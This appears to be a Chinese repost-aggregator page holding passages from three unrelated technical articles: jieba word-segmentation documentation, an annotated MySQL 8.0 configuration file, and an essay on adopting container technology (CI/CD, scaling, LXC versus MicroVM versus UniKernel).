dictionary structure to achieve efficient word graph scanning. Build a directed acyclic graph (DAG) for all possible word combinations. Use dynamic programming to find the most probable combination based on the word frequency. For unknown words, a HMM-based model is used with the Viterbi algorithm. Main Functions Cut The jieba.cut function accepts three input parameters: the first parameter is the string to be cut; the second parameter is cut_all, controlling the cut mode; the third parameter is to control whether to use the Hidden Markov Model. jieba.cut_for_search accepts two parameter: the string to be cut; whether to use the Hidden Markov Model. This will cut the sentence into short words suitable for search engines. The input string can be an unicode/str object, or a str/bytes object which is encoded in UTF-8 or GBK. Note that using GBK encoding is not recommended because it may be unexpectly decoded as UTF-8. jieba.cut and jieba.cut_for_search returns an generator, from which you can use a for loop to get the segmentation result (in unicode). jieba.lcut and jieba.lcut_for_search returns a list. jieba.Tokenizer(dictionary=DEFAULT_DICT) creates a new customized Tokenizer, which enables you to use different dictionaries at the same time. jieba.dt is the default Tokenizer, to which almost all global functions are mapped. Code example: segmentation encoding=utf-8import jiebaseg_list = jieba.cut("我来到北京清华大学", cut_all=True)print("Full Mode: " + "/ ".join(seg_list)) 全模式seg_list = jieba.cut("我来到北京清华大学", cut_all=False)print("Default Mode: " + "/ ".join(seg_list)) 默认模式seg_list = jieba.cut("他来到了网易杭研大厦")print(", ".join(seg_list))seg_list = jieba.cut_for_search("小明硕士毕业于中国科学院计算所,后在日本京都大学深造") 搜索引擎模式print(", ".join(seg_list)) Output: [Full Mode]: 我/ 来到/ 北京/ 清华/ 清华大学/ 华大/ 大学[Accurate Mode]: 我/ 来到/ 北京/ 清华大学[Unknown Words Recognize] 他, 来到, 了, 网易, 杭研, 大厦 (In this case, "杭研" is not in the dictionary, but is identified by the Viterbi algorithm)[Search Engine Mode]: 小明, 硕士, 毕业, 于, 中国, 科学, 学院, 科学院, 中国科学院, 计算, 计算所, 后, 在, 日本, 京都, 大学, 日本京都大学, 深造 Add a custom dictionary Load dictionary Developers can specify their own custom dictionary to be included in the jieba default dictionary. Jieba is able to identify new words, but you can add your own new words can ensure a higher accuracy. Usage: jieba.load_userdict(file_name) file_name is a file-like object or the path of the custom dictionary The dictionary format is the same as that of dict.txt: one word per line; each line is divided into three parts separated by a space: word, word frequency, POS tag. If file_name is a path or a file opened in binary mode, the dictionary must be UTF-8 encoded. The word frequency and POS tag can be omitted respectively. The word frequency will be filled with a suitable value if omitted. For example: 创新办 3 i云计算 5凱特琳 nz台中 Change a Tokenizer’s tmp_dir and cache_file to specify the path of the cache file, for using on a restricted file system. Example: 云计算 5李小福 2创新办 3[Before]: 李小福 / 是 / 创新 / 办 / 主任 / 也 / 是 / 云 / 计算 / 方面 / 的 / 专家 /[After]: 李小福 / 是 / 创新办 / 主任 / 也 / 是 / 云计算 / 方面 / 的 / 专家 / Modify dictionary Use add_word(word, freq=None, tag=None) and del_word(word) to modify the dictionary dynamically in programs. Use suggest_freq(segment, tune=True) to adjust the frequency of a single word so that it can (or cannot) be segmented. Note that HMM may affect the final result. Example: >>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中将/出错/。>>> jieba.suggest_freq(('中', '将'), True)494>>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中/将/出错/。>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台/中/」/正确/应该/不会/被/切开>>> jieba.suggest_freq('台中', True)69>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台中/」/正确/应该/不会/被/切开 Keyword Extraction import jieba.analyse jieba.analyse.extract_tags(sentence, topK=20, withWeight=False, allowPOS=()) sentence: the text to be extracted topK: return how many keywords with the highest TF/IDF weights. The default value is 20 withWeight: whether return TF/IDF weights with the keywords. The default value is False allowPOS: filter words with which POSs are included. Empty for no filtering. jieba.analyse.TFIDF(idf_path=None) creates a new TFIDF instance, idf_path specifies IDF file path. Example (keyword extraction) https://github.com/fxsjy/jieba/blob/master/test/extract_tags.py Developers can specify their own custom IDF corpus in jieba keyword extraction Usage: jieba.analyse.set_idf_path(file_name) file_name is the path for the custom corpus Custom Corpus Sample:https://github.com/fxsjy/jieba/blob/master/extra_dict/idf.txt.big Sample Code:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_idfpath.py Developers can specify their own custom stop words corpus in jieba keyword extraction Usage: jieba.analyse.set_stop_words(file_name) file_name is the path for the custom corpus Custom Corpus Sample:https://github.com/fxsjy/jieba/blob/master/extra_dict/stop_words.txt Sample Code:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_stop_words.py There’s also a TextRank implementation available. Use: jieba.analyse.textrank(sentence, topK=20, withWeight=False, allowPOS=('ns', 'n', 'vn', 'v')) Note that it filters POS by default. jieba.analyse.TextRank() creates a new TextRank instance. Part of Speech Tagging jieba.posseg.POSTokenizer(tokenizer=None) creates a new customized Tokenizer. tokenizer specifies the jieba.Tokenizer to internally use. jieba.posseg.dt is the default POSTokenizer. Tags the POS of each word after segmentation, using labels compatible with ictclas. Example: >>> import jieba.posseg as pseg>>> words = pseg.cut("我爱北京天安门")>>> for w in words:... print('%s %s' % (w.word, w.flag))...我 r爱 v北京 ns天安门 ns Parallel Processing Principle: Split target text by line, assign the lines into multiple Python processes, and then merge the results, which is considerably faster. Based on the multiprocessing module of Python. Usage: jieba.enable_parallel(4) Enable parallel processing. The parameter is the number of processes. jieba.disable_parallel() Disable parallel processing. Example: https://github.com/fxsjy/jieba/blob/master/test/parallel/test_file.py Result: On a four-core 3.4GHz Linux machine, do accurate word segmentation on Complete Works of Jin Yong, and the speed reaches 1MB/s, which is 3.3 times faster than the single-process version. Note that parallel processing supports only default tokenizers, jieba.dt and jieba.posseg.dt. Tokenize: return words with position The input must be unicode Default mode result = jieba.tokenize(u'永和服装饰品有限公司')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限公司 start: 6 end:10 Search mode result = jieba.tokenize(u'永和服装饰品有限公司',mode='search')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限 start: 6 end:8word 公司 start: 8 end:10word 有限公司 start: 6 end:10 ChineseAnalyzer for Whoosh from jieba.analyse import ChineseAnalyzer Example: https://github.com/fxsjy/jieba/blob/master/test/test_whoosh.py Command Line Interface $> python -m jieba --helpJieba command line interface.positional arguments:filename input fileoptional arguments:-h, --help show this help message and exit-d [DELIM], --delimiter [DELIM]use DELIM instead of ' / ' for word delimiter; or aspace if it is used without DELIM-p [DELIM], --pos [DELIM]enable POS tagging; if DELIM is specified, use DELIMinstead of '_' for POS delimiter-D DICT, --dict DICT use DICT as dictionary-u USER_DICT, --user-dict USER_DICTuse USER_DICT together with the default dictionary orDICT (if specified)-a, --cut-all full pattern cutting (ignored with POS tagging)-n, --no-hmm don't use the Hidden Markov Model-q, --quiet don't print loading messages to stderr-V, --version show program's version number and exitIf no filename specified, use STDIN instead. Initialization By default, Jieba don’t build the prefix dictionary unless it’s necessary. This takes 1-3 seconds, after which it is not initialized again. If you want to initialize Jieba manually, you can call: import jiebajieba.initialize() (optional) You can also specify the dictionary (not supported before version 0.28) : jieba.set_dictionary('data/dict.txt.big') Using Other Dictionaries It is possible to use your own dictionary with Jieba, and there are also two dictionaries ready for download: A smaller dictionary for a smaller memory footprint: https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.small There is also a bigger dictionary that has better support for traditional Chinese (繁體): https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.big By default, an in-between dictionary is used, called dict.txt and included in the distribution. In either case, download the file you want, and then call jieba.set_dictionary('data/dict.txt.big') or just replace the existing dict.txt. Segmentation speed 1.5 MB / Second in Full Mode 400 KB / Second in Default Mode Test Env: Intel® Core™ i7-2600 CPU @ 3.4GHz;《围城》.txt 本篇文章为转载内容。原文链接:https://blog.csdn.net/yegeli/article/details/107246661。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-02 10:38:37
501
转载
转载文章
...default storage engine that will be used when create new tables when 当创建新表时将使用的默认存储引擎 default-storage-engine=INNODB Set the SQL mode to strict 将SQL模式设置为strict sql-mode="STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION" General and Slow logging. 一般和缓慢的日志。 log-output=NONE general-log=0 general_log_file="DESKTOP-NF9QETB.log" slow-query-log=0 slow_query_log_file="DESKTOP-NF9QETB-slow.log" long_query_time=10 Binary Logging. 二进制日志。 log-bin Error Logging. 错误日志记录。 log-error="DESKTOP-NF9QETB.err" Server Id. server-id=1 Indicates how table and database names are stored on disk and used in MySQL. 指示表名和数据库名如何存储在磁盘上并在MySQL中使用。 Value = 0: Table and database names are stored on disk using the lettercase specified in the CREATE TABLE or CREATE DATABASE statement. Name comparisons are case sensitive. You should not set this variable to 0 if you are running MySQL on a system that has case-insensitive file names (such as Windows or macOS). Value = 0:表名和数据库名使用CREATE Table或CREATE database语句中指定的lettercase存储在磁盘上。名称比较区分大小写。如果您在一个具有不区分大小写文件名(如Windows或macOS)的系统上运行MySQL,则不应将该变量设置为0。 Value = 1: Table names are stored in lowercase on disk and name comparisons are not case-sensitive. MySQL converts all table names to lowercase on storage and lookup. This behavior also applies to database names and table aliases. 表名以小写存储在磁盘上,并且名称比较不区分大小写。MySQL在存储和查找时将所有表名转换为小写。此行为也适用于数据库名称和表别名。 Value = 3, Table and database names are stored on disk using the lettercase specified in the CREATE TABLE or CREATE DATABASE statement, but MySQL converts them to lowercase on lookup. Name comparisons are not case sensitive. This works only on file systems that are not case-sensitive! InnoDB table names and view names are stored in lowercase, as for Value = 1.表名和数据库名使用CREATE Table或CREATE database语句中指定的lettercase存储在磁盘上,但是MySQL在查找时将它们转换为小写。名称比较不区分大小写。这只适用于不区分大小写的文件系统!InnoDB表名和视图名以小写存储,Value = 1。 NOTE: lower_case_table_names can only be configured when initializing the server. Changing the lower_case_table_names setting after the server is initialized is prohibited. lower_case_table_names=1 Secure File Priv. 权限安全文件 secure-file-priv="C:/ProgramData/MySQL/MySQL Server 8.0/Uploads" The maximum amount of concurrent sessions the MySQL server will allow. One of these connections will be reserved for a user with SUPER privileges to allow the administrator to login even if the connection limit has been reached. MySQL服务器允许的最大并发会话量。这些连接中的一个将保留给具有超级特权的用户,以便允许管理员登录,即使已经达到连接限制。 max_connections=151 The number of open tables for all threads. Increasing this value increases the number of file descriptors that mysqld requires. Therefore you have to make sure to set the amount of open files allowed to at least 4096 in the variable "open-files-limit" in 为所有线程打开的表的数量。增加这个值会增加mysqld需要的文件描述符的数量。因此,您必须确保在[mysqld_safe]节中的变量“open-files-limit”中将允许打开的文件数量至少设置为4096 section [mysqld_safe] table_open_cache=2000 Maximum size for internal (in-memory) temporary tables. If a table grows larger than this value, it is automatically converted to disk based table This limitation is for a single table. There can be many of them. 内部(内存)临时表的最大大小。如果一个表比这个值大,那么它将自动转换为基于磁盘的表。可以有很多。 tmp_table_size=94M How many threads we should keep in a cache for reuse. When a client disconnects, the client's threads are put in the cache if there aren't more than thread_cache_size threads from before. This greatly reduces the amount of thread creations needed if you have a lot of new connections. (Normally this doesn't give a notable performance improvement if you have a good thread implementation.) 我们应该在缓存中保留多少线程以供重用。当客户机断开连接时,如果之前的线程数不超过thread_cache_size,则将客户机的线程放入缓存。如果您有很多新连接,这将大大减少所需的线程创建量(通常,如果您有一个良好的线程实现,这不会带来显著的性能改进)。 thread_cache_size=10 MyISAM Specific options The maximum size of the temporary file MySQL is allowed to use while recreating the index (during REPAIR, ALTER TABLE or LOAD DATA INFILE. If the file-size would be bigger than this, the index will be created through the key cache (which is slower). MySQL允许在重新创建索引时(在修复、修改表或加载数据时)使用临时文件的最大大小。如果文件大小大于这个值,那么索引将通过键缓存创建(这比较慢)。 myisam_max_sort_file_size=100G If the temporary file used for fast index creation would be bigger than using the key cache by the amount specified here, then prefer the key cache method. This is mainly used to force long character keys in large tables to use the slower key cache method to create the index. myisam_sort_buffer_size=179M Size of the Key Buffer, used to cache index blocks for MyISAM tables. Do not set it larger than 30% of your available memory, as some memory is also required by the OS to cache rows. Even if you're not using MyISAM tables, you should still set it to 8-64M as it will also be used for internal temporary disk tables. 如果用于快速创建索引的临时文件比这里指定的使用键缓存的文件大,则首选键缓存方法。这主要用于强制大型表中的长字符键使用较慢的键缓存方法来创建索引。 key_buffer_size=8M Size of the buffer used for doing full table scans of MyISAM tables. Allocated per thread, if a full scan is needed. 用于对MyISAM表执行全表扫描的缓冲区的大小。如果需要完整的扫描,则为每个线程分配。 read_buffer_size=256K read_rnd_buffer_size=512K INNODB Specific options INNODB特定选项 innodb_data_home_dir= Use this option if you have a MySQL server with InnoDB support enabled but you do not plan to use it. This will save memory and disk space and speed up some things. 如果您启用了一个支持InnoDB的MySQL服务器,但是您不打算使用它,那么可以使用这个选项。这将节省内存和磁盘空间,并加快一些事情。skip-innodb skip-innodb If set to 1, InnoDB will flush (fsync) the transaction logs to the disk at each commit, which offers full ACID behavior. If you are willing to compromise this safety, and you are running small transactions, you may set this to 0 or 2 to reduce disk I/O to the logs. Value 0 means that the log is only written to the log file and the log file flushed to disk approximately once per second. Value 2 means the log is written to the log file at each commit, but the log file is only flushed to disk approximately once per second. 如果设置为1,InnoDB将在每次提交时将事务日志刷新(fsync)到磁盘,这将提供完整的ACID行为。如果您愿意牺牲这种安全性,并且正在运行小型事务,您可以将其设置为0或2,以将磁盘I/O减少到日志。值0表示日志仅写入日志文件,日志文件大约每秒刷新一次磁盘。值2表示日志在每次提交时写入日志文件,但是日志文件大约每秒只刷新一次磁盘。 innodb_flush_log_at_trx_commit=1 The size of the buffer InnoDB uses for buffering log data. As soon as it is full, InnoDB will have to flush it to disk. As it is flushed once per second anyway, it does not make sense to have it very large (even with long transactions).InnoDB用于缓冲日志数据的缓冲区大小。一旦它满了,InnoDB就必须将它刷新到磁盘。由于它无论如何每秒刷新一次,所以将它设置为非常大的值是没有意义的(即使是长事务)。 innodb_log_buffer_size=5M InnoDB, unlike MyISAM, uses a buffer pool to cache both indexes and row data. The bigger you set this the less disk I/O is needed to access data in tables. On a dedicated database server you may set this parameter up to 80% of the machine physical memory size. Do not set it too large, though, because competition of the physical memory may cause paging in the operating system. Note that on 32bit systems you might be limited to 2-3.5G of user level memory per process, so do not set it too high. 与MyISAM不同,InnoDB使用缓冲池来缓存索引和行数据。设置的值越大,访问表中的数据所需的磁盘I/O就越少。在专用数据库服务器上,可以将该参数设置为机器物理内存大小的80%。但是,不要将它设置得太大,因为物理内存的竞争可能会导致操作系统中的分页。注意,在32位系统上,每个进程的用户级内存可能被限制在2-3.5G,所以不要设置得太高。 innodb_buffer_pool_size=20M Size of each log file in a log group. You should set the combined size of log files to about 25%-100% of your buffer pool size to avoid unneeded buffer pool flush activity on log file overwrite. However, note that a larger logfile size will increase the time needed for the recovery process. 日志组中每个日志文件的大小。您应该将日志文件的合并大小设置为缓冲池大小的25%-100%,以避免在覆盖日志文件时出现不必要的缓冲池刷新活动。但是,请注意,较大的日志文件大小将增加恢复过程所需的时间。 innodb_log_file_size=48M Number of threads allowed inside the InnoDB kernel. The optimal value depends highly on the application, hardware as well as the OS scheduler properties. A too high value may lead to thread thrashing. InnoDB内核中允许的线程数。最优值在很大程度上取决于应用程序、硬件以及OS调度程序属性。过高的值可能导致线程抖动。 innodb_thread_concurrency=9 The increment size (in MB) for extending the size of an auto-extend InnoDB system tablespace file when it becomes full. 增量大小(以MB为单位),用于在表空间满时扩展自动扩展的InnoDB系统表空间文件的大小。 innodb_autoextend_increment=128 The number of regions that the InnoDB buffer pool is divided into. For systems with buffer pools in the multi-gigabyte range, dividing the buffer pool into separate instances can improve concurrency, by reducing contention as different threads read and write to cached pages. InnoDB缓冲池划分的区域数。对于具有多gb缓冲池的系统,将缓冲池划分为单独的实例可以提高并发性,因为不同的线程对缓存页面的读写会减少争用。 innodb_buffer_pool_instances=8 Determines the number of threads that can enter InnoDB concurrently. 确定可以同时进入InnoDB的线程数 innodb_concurrency_tickets=5000 Specifies how long in milliseconds (ms) a block inserted into the old sublist must stay there after its first access before it can be moved to the new sublist. 指定插入到旧子列表中的块必须在第一次访问之后停留多长时间(毫秒),然后才能移动到新子列表。 innodb_old_blocks_time=1000 It specifies the maximum number of .ibd files that MySQL can keep open at one time. The minimum value is 10. 它指定MySQL一次可以打开的.ibd文件的最大数量。最小值是10。 innodb_open_files=300 When this variable is enabled, InnoDB updates statistics during metadata statements. 当启用此变量时,InnoDB会在元数据语句期间更新统计信息。 innodb_stats_on_metadata=0 When innodb_file_per_table is enabled (the default in 5.6.6 and higher), InnoDB stores the data and indexes for each newly created table in a separate .ibd file, rather than in the system tablespace. 当启用innodb_file_per_table(5.6.6或更高版本的默认值)时,InnoDB将每个新创建的表的数据和索引存储在单独的.ibd文件中,而不是系统表空间中。 innodb_file_per_table=1 Use the following list of values: 0 for crc32, 1 for strict_crc32, 2 for innodb, 3 for strict_innodb, 4 for none, 5 for strict_none. 使用以下值列表:0表示crc32, 1表示strict_crc32, 2表示innodb, 3表示strict_innodb, 4表示none, 5表示strict_none。 innodb_checksum_algorithm=0 The number of outstanding connection requests MySQL can have. This option is useful when the main MySQL thread gets many connection requests in a very short time. It then takes some time (although very little) for the main thread to check the connection and start a new thread. The back_log value indicates how many requests can be stacked during this short time before MySQL momentarily stops answering new requests. You need to increase this only if you expect a large number of connections in a short period of time. MySQL可以有多少未完成连接请求。当MySQL主线程在很短的时间内收到许多连接请求时,这个选项非常有用。然后,主线程需要一些时间(尽管很少)来检查连接并启动一个新线程。back_log值表示在MySQL暂时停止响应新请求之前的短时间内可以堆多少个请求。只有当您预期在短时间内会有大量连接时,才需要增加这个值。 back_log=80 If this is set to a nonzero value, all tables are closed every flush_time seconds to free up resources and synchronize unflushed data to disk. This option is best used only on systems with minimal resources. 如果将该值设置为非零值,则每隔flush_time秒关闭所有表,以释放资源并将未刷新的数据同步到磁盘。这个选项最好只在资源最少的系统上使用。 flush_time=0 The minimum size of the buffer that is used for plain index scans, range index scans, and joins that do not use 用于普通索引扫描、范围索引扫描和不使用索引执行全表扫描的连接的缓冲区的最小大小。 indexes and thus perform full table scans. join_buffer_size=200M The maximum size of one packet or any generated or intermediate string, or any parameter sent by the mysql_stmt_send_long_data() C API function. 由mysql_stmt_send_long_data() C API函数发送的一个包或任何生成的或中间字符串或任何参数的最大大小 max_allowed_packet=500M If more than this many successive connection requests from a host are interrupted without a successful connection, the server blocks that host from performing further connections. 如果在没有成功连接的情况下中断了来自主机的多个连续连接请求,则服务器将阻止主机执行进一步的连接。 max_connect_errors=100 Changes the number of file descriptors available to mysqld. You should try increasing the value of this option if mysqld gives you the error "Too many open files". 更改mysqld可用的文件描述符的数量。如果mysqld给您的错误是“打开的文件太多”,您应该尝试增加这个选项的值。 open_files_limit=4161 If you see many sort_merge_passes per second in SHOW GLOBAL STATUS output, you can consider increasing the sort_buffer_size value to speed up ORDER BY or GROUP BY operations that cannot be improved with query optimization or improved indexing. 如果在SHOW GLOBAL STATUS输出中每秒看到许多sort_merge_passes,可以考虑增加sort_buffer_size值,以加快ORDER BY或GROUP BY操作的速度,这些操作无法通过查询优化或改进索引来改进。 sort_buffer_size=1M The number of table definitions (from .frm files) that can be stored in the definition cache. If you use a large number of tables, you can create a large table definition cache to speed up opening of tables. The table definition cache takes less space and does not use file descriptors, unlike the normal table cache. The minimum and default values are both 400. 可以存储在定义缓存中的表定义的数量(来自.frm文件)。如果使用大量表,可以创建一个大型表定义缓存来加速表的打开。与普通的表缓存不同,表定义缓存占用更少的空间,并且不使用文件描述符。最小值和默认值都是400。 table_definition_cache=1400 Specify the maximum size of a row-based binary log event, in bytes. Rows are grouped into events smaller than this size if possible. The value should be a multiple of 256. 指定基于行的二进制日志事件的最大大小,单位为字节。如果可能,将行分组为小于此大小的事件。这个值应该是256的倍数。 binlog_row_event_max_size=8K If the value of this variable is greater than 0, a replication slave synchronizes its master.info file to disk. (using fdatasync()) after every sync_master_info events. 如果该变量的值大于0,则复制奴隶将其主.info文件同步到磁盘。(在每个sync_master_info事件之后使用fdatasync())。 sync_master_info=10000 If the value of this variable is greater than 0, the MySQL server synchronizes its relay log to disk. (using fdatasync()) after every sync_relay_log writes to the relay log. 如果这个变量的值大于0,MySQL服务器将其中继日志同步到磁盘。(在每个sync_relay_log写入到中继日志之后使用fdatasync())。 sync_relay_log=10000 If the value of this variable is greater than 0, a replication slave synchronizes its relay-log.info file to disk. (using fdatasync()) after every sync_relay_log_info transactions. 如果该变量的值大于0,则复制奴隶将其中继日志.info文件同步到磁盘。(在每个sync_relay_log_info事务之后使用fdatasync())。 sync_relay_log_info=10000 Load mysql plugins at start."plugin_x ; plugin_y". 开始时加载mysql插件。“plugin_x;plugin_y” plugin_load The TCP/IP Port the MySQL Server X Protocol will listen on. MySQL服务器X协议将监听TCP/IP端口。 loose_mysqlx_port=33060 本篇文章为转载内容。原文链接:https://blog.csdn.net/mywpython/article/details/89499852。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-08 09:56:02
130
转载
转载文章
...的动力,是遇到问题是解决问题的方向指引,最重要的是让决策者认同商业目标,并能了解到支持商业目标的技术原理,上下目标对齐才好办事。 商业目标确定之后,需要确定容器相关的技术选型,容器是一种轻量化的虚拟化技术,与传统虚拟机比较有优点也有缺点,要找出这些差异点识别出对基础设施与应用的影响,提前识别风险并采取应对措施。 技术选型明确之后,在公司或部门内部推广与评审,让开发人员、架构师、测试人员、运维人员相关人员与团队理解与认同方案,听取他们意见,他们是直接使用容器的客户,不要让他们有抱怨。 最后是落地策略,一般是选取一些辅助业务先试点,在实践过程中不断总结经验。 商业目标 容器技术是以应用为中心的轻量级虚拟化技术,而传统的Xen与KVM是以资源为中心的虚拟化技术,这是两者的本质差异。以应用为中心是容器技术演进的指导原则,正是在这个原则指导下,容器技术相对于传统虚拟化有几个特点:打包既部署、镜像分层、应用资源调度。 打包即部署:打包即部署是指在容器镜像制作过程包含了传统软件包部署的过程(安装依赖的操作系统库或工具、创建用户、创建运行目录、解压、设置文件权限等等),这么做的好处是把应用及其依赖封装到了一个相对封闭的环境,减少了应用对外部环境的依赖,增强了应用在各种不同环境下的行为一致性,同时也减少了应用部署时间。 镜像分层:容器镜像包是分层结构,同一个主机上的镜像层是可以在多个容器之间共享的,这个机制可以极大减少镜像更新时候拉取镜像包的时间,通常应用程序更新升级都只是更新业务层(如Java程序的jar包),而镜像中的操作系统Lib层、运行时(如Jre)层等文件不会频繁更新。因此新版本镜像实质有变化的只有很小的一部分,在更新升级时候也只会从镜像仓库拉取很小的文件,所以速度很快。 应用资源调度:资源(计算/存储/网络)都是以应用为中心的,中心体现在资源分配是按照应用粒度分配资源、资源随应用迁移。 基于上述容器技术特点,可以推导出容器技术的3大使用场景:CI/CD、提升资源利用率、弹性伸缩。这3个使用场景自然推导出通用的商业层面收益:CI/CD提升研发效率、提升资源利用率降低成本、按需弹性伸缩在体验与成本之间达成平衡。 当然,除了商业目标之外,可能还有其他一些考虑因素,如基于容器技术实现计算任务调度平台、保持团队技术先进性等。 CI/CD提升研发效率 为什么容器技术适合CI/CD CI/CD是DevOps的关键组成部分,DevOps是一套软件工程的流程,用于持续提升软件开发效率与软件交付质量。DevOps流程来源于制造业的精益生产理念,在这个领域的领头羊是丰田公司,《丰田套路》这本书总结丰田公司如何通过PDCA(Plan-Do-Check-Act)方法实施持续改进。PDCA通常也称为PDCA循环,PDCA实施过程简要描述为:确定目标状态、分析当前状态、找出与目标状态的差距、制定实施计划、实施并总结、开始下一个PDCA过程。 DevOps基本也是这么一个PDCA流程循环,很容易认知到PDCA过程中效率是关键,同一时间段内,实施更多数量的PDCA过程,收益越高。在软件开发领域的DevOps流程中,各种等待(等待编译、等待打包、等待部署等)、各种中断(部署失败、机器故障)是影响DevOps流程效率的重要因素。 容器技术出来之后,将容器技术应用到DevOps场景下,可以从技术手段消除DevOps流程中的部分等待与中断,从而大幅度提升DevOps流程中CI/CD的效率。 容器的OCI标准定义了容器镜像规范,容器镜像包与传统的压缩包(zip/tgz等)相比有两个关键区别点:1)分层存储;2)打包即部署。 分层存储可以极大减少镜像更新时候拉取镜像包的时间,通常应用程序更新升级都只是更新业务层(如Java程序的jar包),而镜像中的操作系统Lib层、运行时(如Jre)层等文件不会频繁更新。因此新版本镜像实质有变化的只有很小的一部分,在更新升级时候也只会从镜像仓库拉取很小的文件,所以速度很快。 打包即部署是指在容器镜像制作过程包含了传统软件包部署的过程(安装依赖的操作系统库或工具、创建用户、创建运行目录、解压、设置文件权限等等),这么做的好处是把应用及其依赖封装到了一个相对封闭的环境,减少了应用对外部环境的依赖,增强了应用在各种不同环境下的行为一致性,同时也减少了应用部署时间。 基于容器镜像的这些优势,容器镜像用到CI/CD场景下,可以减少CI/CD过程中的等待时间,减少因环境差异而导致的部署中断,从而提升CI/CD的效率,提升整体研发效率。 CI/CD的关键诉求与挑战 快 开发人员本地开发调试完成后,提交代码,执行构建与部署,等待部署完成后验证功能。这个等待的过程尽可能短,否则开发人员工作容易被打断,造成后果就是效率降低。如果提交代码后几秒钟就能够完成部署,那么开发人员几乎不用等待,工作也不会被打断;如果需要好几分钟或十几分钟,那么可以想象,这十几分钟就是浪费了,这时候很容易做点别的事情,那么思路又被打断了。 所以构建CI/CD环境时候,快是第一个需要考虑的因素。要达到快,除了有足够的机器资源免除排队等待,引入并行编译技术也是常用做法,如Maven3支持多核并行构建。 自定义流程 不同行业存在不同的行业规范、监管要求,各个企业有一套内部质量规范,这些要求都对软件交付流程有定制需求,如要求使用商用的代码扫描工具做安全扫描,如构建结果与企业内部通信系统对接发送消息。 在团队协同方面,不同的公司,对DevOps流程在不同团队之间分工有差异,典型的有开发者负责代码编写构建出构建物(如jar包),而部署模板、配置由运维人员负责;有的企业开发人员负责构建并部署到测试环境;有的企业开发人员直接可以部署到生产环境。这些不同的场景,对CI/CD的流程、权限管控都有定制需求。 提升资源利用率 OCI标准包含容器镜像标准与容器运行时标准两部分,容器运行时标准聚焦在定义如何将镜像包从镜像仓库拉取到本地并更新、如何隔离运行时资源这些方面。得益于分层存储与打包即部署的特性,容器镜像从到镜像仓库拉取到本地运行速度非常快(通常小于30秒,依赖镜像本身大小等因素),基于此可以实现按需分配容器运行时资源(cpu与内存),并限定单个容器资源用量;然后根据容器进程资源使用率设定弹性伸缩规则,实现自动的弹性伸缩。 这种方式相对于传统的按峰值配置资源方式,可以提升资源利用率。 按需弹性伸缩在体验与成本之间达成平衡 联动弹性伸缩 应用运行到容器,按需分配资源之后,理想情况下,Kubernetes的池子里没有空闲的资源。这时候扩容应用实例数,新扩容的实例会因资源不足调度失败。这时候需要资源池能自动扩容,加入新的虚拟机,调度新扩容的应用。 由于应用对资源的配比与Flavor有要求,因此新加入的虚拟机,应当是与应用所需要的资源配比与Flavor一致的。缩容也是类似。 弹性伸缩还有一个诉求点是“平滑”,对业务做到不感知,也称为“优雅”扩容/缩容。 请求风暴 上面提到的弹性伸缩一般是有计划或缓慢增压的场景,存在另外一种无法预期的请求风暴场景,这种场景的特征是无法预测、突然请求量增大数倍或数十倍、持续时间短。典型的例子如行情交易系统,当行情突变的时候,用户访问量徒增,持续几十分钟或一个小时。 这种场景的弹性诉求,要求短时间内能将资源池扩大数倍,关键是速度要快(秒级),否则会来不及扩容,系统已经被冲垮(如果无限流的话)。 目前基于 Virtual Kubelet 与云厂家的 Serverless 容器,理论上可以提供应对请求风暴的方案。不过在具体实施时候,需要考虑传统托管式Kubernetes容器管理平台与Serverless容器之间互通的问题,需要基于具体厂家提供的能力来评估。 基于容器技术实现计算调度平台 计算(大数据/AI训练等)场景的特征是短时间内需要大量算力,算完即释放。容器的环境一致性以及调度便利性适合这种场景。 技术选型 容器技术是属于基础设施范围,但是与传统虚拟化技术(Xen/KVM)比较,容器技术是应用虚拟化,不是纯粹的资源虚拟化,与传统虚拟化存在差异。在容器技术选型时候,需要结合当前团队在应用管理与资源管理的现状,对照容器技术与虚拟化技术的差异,选择最合适的容器技术栈。 什么是容器技术 (1)容器是一种轻量化的应用虚拟化技术。 在讨论具体的容器技术栈的时候,先介绍目前几种常用的应用虚拟化技术,当前有3种主流的应用虚拟化技术: LXC,MicroVM,UniKernel(LibOS)。 LXC: Linux Container,通过 Linux的 namespace/cgroups/chroot 等技术隔离进程资源,目前应用最广的docker就是基于LXC实现应用虚拟化的。 MicroVM: MicroVM 介于 传统的VM 与 LXC之间,隔离性比LXC好,但是比传统的VM要轻量,轻量体现在体积小(几M到几十M)、启动快(小于1s)。 AWS Firecracker 就是一种MicroVM的实现,用于AWS的Serverless计算领域,Serverless要求启动快,租户之间隔离性好。 UniKernel: 是一种专用的(特定编程语言技术栈专用)、单地址空间、使用 library OS 构建出来的镜像。UniKernel要解决的问题是减少应用软件的技术栈层次,现代软件层次太多导致越来越臃肿:硬件+HostOS+虚拟化模拟+GuestOS+APP。UniKernel目标是:硬件+HostOS+虚拟化模拟+APP-with-libos。 三种技术对比表: 开销 体积 启动速度 隔离/安全 生态 LXC 低(几乎为0) 小 快(等同进程启动) 差(内核共享) 好 MicroVM 高 大 慢(小于1s) 好 中(Kata项目) UniKernel 中 中 中 好 差 